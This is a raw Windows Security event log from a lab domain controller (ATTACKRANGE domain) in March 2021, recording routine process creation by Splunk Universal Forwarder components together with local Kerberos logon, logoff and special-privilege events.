	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255904
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255905
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1260
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255906
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x63c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:44:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255909
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x381101

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:44:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255908
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x381101
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64877

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:44:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255907
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x381101

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:45:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255912
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255911
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255913
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255914
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255915
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:45:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255919
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x385647

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:45:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255918
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x385647
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64890

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:45:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255917
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x385647

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:46:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255920
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255921
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255922
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

